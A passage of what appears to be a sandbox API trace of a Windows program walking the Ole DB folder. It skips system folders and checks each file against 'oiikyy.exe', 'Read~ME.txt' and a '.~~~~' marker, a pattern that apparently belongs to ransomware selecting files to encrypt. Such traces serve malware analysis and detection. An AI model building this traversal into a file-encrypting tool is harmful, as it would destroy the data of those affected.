	[0080.079] GetCurrentThreadId () returned 0x618
	[0080.079] RtlWakeConditionVariable () returned 0x365f48
	[0080.080] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1
	[0080.080] lstrcmpiW (lpString1="Ole DB", lpString2="Windows") returned -1
	[0080.080] lstrcmpW (lpString1="Ole DB", lpString2=".") returned 1
	[0080.080] lstrcmpW (lpString1="Ole DB", lpString2="..") returned 1
	[0080.080] lstrcmpW (lpString1="Ole DB", lpString2="AppData") returned 1
	[0080.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB", lpSrch="AppData") returned 0x0
	[0080.080] lstrlenW (lpString="C:\\Windows") returned 10
	[0080.080] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\System\\Ole DB", lpString2="C:\\Windows") returned -1
	[0080.080] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0080.080] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\System\\Ole DB", lpString2="C:\\System Volume Information") returned -1
	[0080.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3bc6e8
	[0080.080] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*", lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a848
	[0080.133] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0080.133] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0080.133] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0080.133] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0080.133] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0080.133] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.133] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0080.133] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0080.133] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0080.133] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0080.133] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0080.133] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0080.133] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0080.133] lstrcmpiW (lpString1="en-US", lpString2="Windows") returned -1
	[0080.133] lstrcmpW (lpString1="en-US", lpString2=".") returned 1
	[0080.133] lstrcmpW (lpString1="en-US", lpString2="..") returned 1
	[0080.133] lstrcmpW (lpString1="en-US", lpString2="AppData") returned 1
	[0080.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US", lpSrch="AppData") returned 0x0
	[0080.133] lstrlenW (lpString="C:\\Windows") returned 10
	[0080.134] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US", lpString2="C:\\Windows") returned -1
	[0080.134] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0080.134] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US", lpString2="C:\\System Volume Information") returned -1
	[0080.134] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x283dfe0
	[0080.135] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0080.135] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0080.135] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0080.135] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0080.135] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0080.135] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0080.135] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.135] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0080.135] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0080.135] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0080.135] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0080.135] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0080.136] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0080.136] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d5cd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb6d5cd, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1
	[0080.136] lstrcmpiW (lpString1="msdasqlr.dll.mui", lpString2="Windows") returned -1
	[0080.136] lstrcmpW (lpString1="msdasqlr.dll.mui", lpString2="oiikyy.exe") returned -1
	[0080.136] StrStrW (lpFirst="msdasqlr.dll.mui", lpSrch=".~~~~") returned 0x0
	[0080.136] lstrcmpW (lpString1="msdasqlr.dll.mui", lpString2="Read~ME.txt") returned -1
	[0080.136] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb110
	[0080.136] GetCurrentThreadId () returned 0x618
	[0080.136] RtlWakeConditionVariable () returned 0x365f48
	[0080.136] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aabb7e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8aabb7e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll.mui", cAlternateFileName="")) returned 1
	[0080.136] lstrcmpiW (lpString1="oledb32r.dll.mui", lpString2="Windows") returned -1
	[0080.136] lstrcmpW (lpString1="oledb32r.dll.mui", lpString2="oiikyy.exe") returned 1
	[0080.136] StrStrW (lpFirst="oledb32r.dll.mui", lpSrch=".~~~~") returned 0x0
	[0080.136] lstrcmpW (lpString1="oledb32r.dll.mui", lpString2="Read~ME.txt") returned -1
	[0080.136] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb110
	[0080.136] GetCurrentThreadId () returned 0x618
	[0080.136] RtlWakeConditionVariable () returned 0x365f48
	[0080.136] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb93886, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb93886, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll.mui", cAlternateFileName="")) returned 1
	[0080.136] lstrcmpiW (lpString1="sqloledb.rll.mui", lpString2="Windows") returned -1
	[0080.136] lstrcmpW (lpString1="sqloledb.rll.mui", lpString2="oiikyy.exe") returned 1
	[0080.136] StrStrW (lpFirst="sqloledb.rll.mui", lpSrch=".~~~~") returned 0x0
	[0080.136] lstrcmpW (lpString1="sqloledb.rll.mui", lpString2="Read~ME.txt") returned 1
	[0080.136] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb110
	[0080.137] GetCurrentThreadId () returned 0x618
	[0080.137] RtlWakeConditionVariable () returned 0x365f48
	[0080.137] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 1
	[0080.137] lstrcmpiW (lpString1="sqlxmlx.rll.mui", lpString2="Windows") returned -1
	[0080.137] lstrcmpW (lpString1="sqlxmlx.rll.mui", lpString2="oiikyy.exe") returned 1
	[0080.137] StrStrW (lpFirst="sqlxmlx.rll.mui", lpSrch=".~~~~") returned 0x0
	[0080.137] lstrcmpW (lpString1="sqlxmlx.rll.mui", lpString2="Read~ME.txt") returned 1
	[0080.137] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb110
	[0080.137] GetCurrentThreadId () returned 0x618
	[0080.137] RtlWakeConditionVariable () returned 0x365f48
	[0080.137] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 0
	[0080.137] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0080.137] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb110
	[0080.137] GetCurrentThreadId () returned 0x618
	[0080.137] RtlWakeConditionVariable () returned 0x365f48
	[0080.137] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad34e79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ad34e79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ad5afda, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1
	[0080.137] lstrcmpiW (lpString1="msdaosp.dll", lpString2="Windows") returned -1
	[0080.137] lstrcmpW (lpString1="msdaosp.dll", lpString2="oiikyy.exe") returned -1
	[0080.137] StrStrW (lpFirst="msdaosp.dll", lpSrch=".~~~~") returned 0x0
	[0080.138] lstrcmpW (lpString1="msdaosp.dll", lpString2="Read~ME.txt") returned -1
	[0080.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0080.138] GetCurrentThreadId () returned 0x618
	[0080.138] RtlWakeConditionVariable () returned 0x365f48
	[0080.138] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14cd0c35, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14cd0c35, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x349a6d70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaps.dll", cAlternateFileName="")) returned 1
	[0080.138] lstrcmpiW (lpString1="msdaps.dll", lpString2="Windows") returned -1
	[0080.138] lstrcmpW (lpString1="msdaps.dll", lpString2="oiikyy.exe") returned -1
	[0080.138] StrStrW (lpFirst="msdaps.dll", lpSrch=".~~~~") returned 0x0
	[0080.138] lstrcmpW (lpString1="msdaps.dll", lpString2="Read~ME.txt") returned -1
	[0080.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0080.138] GetCurrentThreadId () returned 0x618
	[0080.138] RtlWakeConditionVariable () returned 0x365f48
	[0080.138] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c0138a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86c0138a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86c0138a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasql.dll", cAlternateFileName="")) returned 1
	[0080.138] lstrcmpiW (lpString1="msdasql.dll", lpString2="Windows") returned -1
	[0080.138] lstrcmpW (lpString1="msdasql.dll", lpString2="oiikyy.exe") returned -1
	[0080.138] StrStrW (lpFirst="msdasql.dll", lpSrch=".~~~~") returned 0x0
	[0080.138] lstrcmpW (lpString1="msdasql.dll", lpString2="Read~ME.txt") returned -1
	[0080.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0080.138] GetCurrentThreadId () returned 0x618
	[0080.138] RtlWakeConditionVariable () returned 0x365f48
	[0080.138] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab69cf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x2ab69cf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x838ac7b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll", cAlternateFileName="")) returned 1
	[0080.138] lstrcmpiW (lpString1="msdasqlr.dll", lpString2="Windows") returned -1
	[0080.138] lstrcmpW (lpString1="msdasqlr.dll", lpString2="oiikyy.exe") returned -1
	[0080.139] StrStrW (lpFirst="msdasqlr.dll", lpSrch=".~~~~") returned 0x0
	[0080.139] lstrcmpW (lpString1="msdasqlr.dll", lpString2="Read~ME.txt") returned -1
	[0080.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0080.139] GetCurrentThreadId () returned 0x618
	[0080.139] RtlWakeConditionVariable () returned 0x365f48
	[0080.139] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3c3a6b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc3c3a6b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x349f2860, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdatl3.dll", cAlternateFileName="")) returned 1
	[0080.139] lstrcmpiW (lpString1="msdatl3.dll", lpString2="Windows") returned -1
	[0080.139] lstrcmpW (lpString1="msdatl3.dll", lpString2="oiikyy.exe") returned -1
	[0080.139] StrStrW (lpFirst="msdatl3.dll", lpSrch=".~~~~") returned 0x0
	[0080.139] lstrcmpW (lpString1="msdatl3.dll", lpString2="Read~ME.txt") returned -1
	[0080.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0080.139] GetCurrentThreadId () returned 0x618
	[0080.139] RtlWakeConditionVariable () returned 0x365f48
	[0080.139] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d2cdc0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x1d2cdc0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x383128c0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msxactps.dll", cAlternateFileName="")) returned 1
	[0080.139] lstrcmpiW (lpString1="msxactps.dll", lpString2="Windows") returned -1
	[0080.139] lstrcmpW (lpString1="msxactps.dll", lpString2="oiikyy.exe") returned -1
	[0080.139] StrStrW (lpFirst="msxactps.dll", lpSrch=".~~~~") returned 0x0
	[0080.139] lstrcmpW (lpString1="msxactps.dll", lpString2="Read~ME.txt") returned -1
	[0080.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0080.139] GetCurrentThreadId () returned 0x618
	[0080.139] RtlWakeConditionVariable () returned 0x365f48
	[0080.139] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c2ad0f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84c2ad0f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84c50e6f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32.dll", cAlternateFileName="")) returned 1
	[0080.140] lstrcmpiW (lpString1="oledb32.dll", lpString2="Windows") returned -1
	[0080.140] lstrcmpW (lpString1="oledb32.dll", lpString2="oiikyy.exe") returned 1
	[0080.140] StrStrW (lpFirst="oledb32.dll", lpSrch=".~~~~") returned 0x0
	[0080.140] lstrcmpW (lpString1="oledb32.dll", lpString2="Read~ME.txt") returned -1
	[0080.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0080.140] GetCurrentThreadId () returned 0x618
	[0080.140] RtlWakeConditionVariable () returned 0x365f48
	[0080.140] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfabf604b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfabf604b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xdf9a48f0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll", cAlternateFileName="")) returned 1
	[0080.140] lstrcmpiW (lpString1="oledb32r.dll", lpString2="Windows") returned -1
	[0080.140] lstrcmpW (lpString1="oledb32r.dll", lpString2="oiikyy.exe") returned 1
	[0080.140] StrStrW (lpFirst="oledb32r.dll", lpSrch=".~~~~") returned 0x0
	[0080.140] lstrcmpW (lpString1="oledb32r.dll", lpString2="Read~ME.txt") returned -1
	[0080.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0080.140] GetCurrentThreadId () returned 0x618
	[0080.140] RtlWakeConditionVariable () returned 0x365f48
	[0080.140] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa4ffde2f, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x264c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbjvs.inc", cAlternateFileName="")) returned 1
	[0080.140] lstrcmpiW (lpString1="oledbjvs.inc", lpString2="Windows") returned -1
	[0080.140] lstrcmpW (lpString1="oledbjvs.inc", lpString2="oiikyy.exe") returned 1
	[0080.140] StrStrW (lpFirst="oledbjvs.inc", lpSrch=".~~~~") returned 0x0
	[0080.140] lstrcmpW (lpString1="oledbjvs.inc", lpString2="Read~ME.txt") returned -1
	[0080.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0080.140] GetCurrentThreadId () returned 0x618
	[0080.140] RtlWakeConditionVariable () returned 0x365f48
	[0080.140] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa52d1816, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x26f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbvbs.inc", cAlternateFileName="")) returned 1
	[0080.141] lstrcmpiW (lpString1="oledbvbs.inc", lpString2="Windows") returned -1
	[0080.141] lstrcmpW (lpString1="oledbvbs.inc", lpString2="oiikyy.exe") returned 1
	[0080.141] StrStrW (lpFirst="oledbvbs.inc", lpSrch=".~~~~") returned 0x0
	[0080.141] lstrcmpW (lpString1="oledbvbs.inc", lpString2="Read~ME.txt") returned -1
	[0080.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0080.141] GetCurrentThreadId () returned 0x618
	[0080.141] RtlWakeConditionVariable () returned 0x365f48
	[0080.141] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f0bf91, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92f0bf91, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92f320f1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x128000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.dll", cAlternateFileName="")) returned 1
	[0080.141] lstrcmpiW (lpString1="sqloledb.dll", lpString2="Windows") returned -1
	[0080.141] lstrcmpW (lpString1="sqloledb.dll", lpString2="oiikyy.exe") returned 1
	[0080.141] StrStrW (lpFirst="sqloledb.dll", lpSrch=".~~~~") returned 0x0
	[0080.141] lstrcmpW (lpString1="sqloledb.dll", lpString2="Read~ME.txt") returned 1
	[0080.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0080.141] GetCurrentThreadId () returned 0x618
	[0080.141] RtlWakeConditionVariable () returned 0x365f48
	[0080.141] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc9350f, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xcc9350f, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xcc210f8, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll", cAlternateFileName="")) returned 1
	[0080.141] lstrcmpiW (lpString1="sqloledb.rll", lpString2="Windows") returned -1
	[0080.141] lstrcmpW (lpString1="sqloledb.rll", lpString2="oiikyy.exe") returned 1
	[0080.141] StrStrW (lpFirst="sqloledb.rll", lpSrch=".~~~~") returned 0x0
	[0080.141] lstrcmpW (lpString1="sqloledb.rll", lpString2="Read~ME.txt") returned 1
	[0080.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0080.141] GetCurrentThreadId () returned 0x618
	[0080.141] RtlWakeConditionVariable () returned 0x365f48
	[0080.142] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14f7e4bf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14f7e4bf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x44773fc0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x59000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.dll", cAlternateFileName="")) returned 1
	[0080.142] lstrcmpiW (lpString1="sqlxmlx.dll", lpString2="Windows") returned -1
	[0080.142] lstrcmpW (lpString1="sqlxmlx.dll", lpString2="oiikyy.exe") returned 1
	[0080.142] StrStrW (lpFirst="sqlxmlx.dll", lpSrch=".~~~~") returned 0x0
	[0080.142] lstrcmpW (lpString1="sqlxmlx.dll", lpString2="Read~ME.txt") returned 1
	[0080.142] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0080.142] GetCurrentThreadId () returned 0x618
	[0080.142] RtlWakeConditionVariable () returned 0x365f48
